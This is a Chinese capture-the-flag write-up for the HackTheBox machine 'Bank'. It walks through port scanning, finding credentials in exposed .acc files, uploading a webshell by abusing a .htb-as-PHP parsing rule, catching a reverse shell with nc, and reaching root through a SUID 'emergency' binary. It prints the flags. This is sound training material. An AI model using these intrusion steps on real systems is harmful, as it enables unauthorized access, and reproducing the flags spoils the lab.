当前位置: 首页 > news >正文

HTB:Bank[WriteUP]

目录

连接至HTB服务器并启动靶机

信息收集

使用rustscan对靶机TCP端口进行开放扫描

提取出靶机TCP开放端口

使用nmap对靶机TCP开放端口进行脚本、服务扫描

使用nmap对靶机TCP开放端口进行漏洞、系统扫描

使用nmap对靶机常用UDP端口进行开放扫描

使用curl对域名进行访问

使用浏览器访问该域名

边界突破

使用ffuf对该域名进行路径FUZZ

访问balance-transfer接口可见大量.acc文件

点击右上角的Size按钮可对文件大小进行升序排列

通过上述凭证登录后,在左侧可见Support栏目

使用Yakit构造请求包发送Webshell

本地侧nc开始监听

权限提升

查看靶机系统内存在的用户

查找当前系统内的SUID文件


连接至HTB服务器并启动靶机

靶机IP:10.10.10.29

分配IP:10.10.16.13


信息收集

使用rustscan对靶机TCP端口进行开放扫描

rustscan -a 10.10.10.29 -r 1-65535 --ulimit 5000 | tee res

提取出靶机TCP开放端口
ports=$(grep syn-ack res | awk -F '/' '{print $1}' | paste -s -d ',')

┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# grep syn-ack res | awk -F '/' '{print $1}' | paste -s -d ','
22,53,80
                                                                                                                                  
┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# ports=$(grep syn-ack res | awk -F '/' '{print $1}' | paste -s -d ',')
                                                                                                                                  
┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# echo $ports                        
22,53,80

使用nmap对靶机TCP开放端口进行脚本、服务扫描

nmap -sT -p$ports -sCV -Pn 10.10.10.29

使用nmap对靶机TCP开放端口进行漏洞、系统扫描
nmap -sT -p$ports --script=vuln -O -Pn 10.10.10.29

使用nmap对靶机常用UDP端口进行开放扫描
nmap -sU --top-ports 20 -Pn 10.10.10.29

  • 将靶机IP与bank.htb域名进行绑定
sed -i '1i 10.10.10.29 bank.htb' /etc/hosts

┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# sed -i '1i 10.10.10.29 bank.htb' /etc/hosts

┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# head /etc/hosts -n 1
10.10.10.29 bank.htb

使用curl对域名进行访问

curl -I http://bank.htb

┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# curl -I http://bank.htb
HTTP/1.1 302 Found
Date: Tue, 07 Jan 2025 09:12:29 GMT
Server: Apache/2.4.7 (Ubuntu)
X-Powered-By: PHP/5.5.9-1ubuntu4.21
Set-Cookie: HTBBankAuth=1ukl795lkhp59fqphdlk8s7gb0; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
location: login.php
Content-Type: text/html

使用浏览器访问该域名


边界突破

使用ffuf对该域名进行路径FUZZ

ffuf -u http://bank.htb/FUZZ -w ../dictionary/Entire-Dir.txt -t 200

访问balance-transfer接口可见大量.acc文件

点击右上角的Size按钮可对文件大小进行升序排列

  • 点击查看这个与其他.acc文件大小不一样的文件

  • 得到凭证

名称:Christos Christopoulos

邮箱:chris@bank.htb

密码:!##HTBB4nkP4ssw0rd!##

通过上述凭证登录后,在左侧可见Support栏目

  • 点击后可见该页支持文件上传

  • 键盘按Ctrl+U查看该页原码

  • 由该页注释可知,.htb文件可充当.php文件进行解析

使用Yakit构造请求包发送Webshell

  • My Tickets栏目中可见文件成功上传

本地侧nc开始监听
rlwrap -cAr nc -lvnp 1425
  • 直接点击Click Here访问Webshell文件,本地侧nc收到回显

┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# rlwrap -cAr nc -lvnp 1425                       
listening on [any] 1425 ...
connect to [10.10.16.13] from (UNKNOWN) [10.10.10.29] 45632
Linux bank 4.4.0-79-generic #100~14.04.1-Ubuntu SMP Fri May 19 18:37:52 UTC 2017 i686 athlon i686 GNU/Linux
 13:09:56 up  3:20,  0 users,  load average: 0.37, 0.09, 0.03
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ whoami
www-data
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

  • 提升TTY
python3 -c 'import pty;pty.spawn("/bin/bash")'

权限提升

查看靶机系统内存在的用户

cat /etc/passwd

  • 当前用户权限可以直接查看chris下的flag文件

www-data@bank:/$ find / -name 'user.txt' -type f 2>/dev/null
find / -name 'user.txt' -type f 2>/dev/null
/home/chris/user.txt
www-data@bank:/$ cat /home/chris/user.txt
cat /home/chris/user.txt
8fc44025442af344df63cad1c33e35c8

查找当前系统内的SUID文件

find / -perm -4000 -type f -ls 2>/dev/null

  • 直接运行/var/htb/bin/emergency文件即可提权至root用户

www-data@bank:/$ /var/htb/bin/emergency
/var/htb/bin/emergency
# id
id
uid=33(www-data) gid=33(www-data) euid=0(root) groups=0(root),33(www-data)
# whoami
whoami
root

  • 在/root目录下找到root.txt文件

# find / -name 'root.txt' -type f
find / -name 'root.txt' -type f
/root/root.txt
# cat /root/root.txt
cat /root/root.txt
38e39916caa580e4ffaee0a6379444c9

http://www.lryc.cn/news/518127.html

相关文章:

  • 如何用数字万用表测量是否漏电?
  • 黑马跟学.苍穹外卖.Day04
  • uniapp使用scss mixin抽离css常用的公共样式
  • 用Python解决“A. Accounting”问题:完整教程与代码实现
  • FreeU: Free Lunch in Diffusion U-Net 笔记
  • 腾讯云AI代码助手编程挑战赛-古诗词学习
  • 链式二叉树,递归的暴力美学
  • 计算机网络之---数据传输与比特流
  • 基于单片机的数字电能表(论文+源码)
  • 打造三甲医院人工智能矩阵新引擎(五):精确分割模型篇 Medical SAM 2
  • python无需验证码免登录12306抢票 --selenium(2)
  • 第1章 Web系统概述 教案
  • AI是IT行业的变革力量,还是“职业终结者”?
  • [git]ubuntu git 开启Verbose Mode模式
  • 解读若依框架中的 @Xss 注解
  • 【JVM-2】JVM图形化监控工具大全:从入门到精通
  • 基于华为ENSP的OSPF数据报文保姆级别详解(3)
  • 【Java】-- 利用 jar 命令将配置文件添加到 jar 中
  • 【HarmonyOS NEXT】鸿蒙应用点9图的处理(draw9patch)
  • 0050.ssm+小程序高校订餐系统+论文
  • 【Apache Paimon】-- 14 -- Spark 集成 Paimon 之 Filesystem Catalog 与 Hive Catalog 实践
  • renben-openstack-使用操作
  • 开源CMS建站系统的安全优势有哪些?
  • 基于mybatis-plus历史背景下的多租户平台改造
  • 后台管理系统用户退出登录方案实现
  • C# 对象和类型(结构)
  • 利用AI优化SEO关键词提升网站排名的策略与技巧
  • “多维像素”多模态雷视融合技术构建自动驾驶超级感知能力|上海昱感微电子创始人蒋宏GADS演讲预告
  • 基于机器学习的故障诊断(入门向)
  • 【延伸学习】智能软开关优化配置对比算例【sop】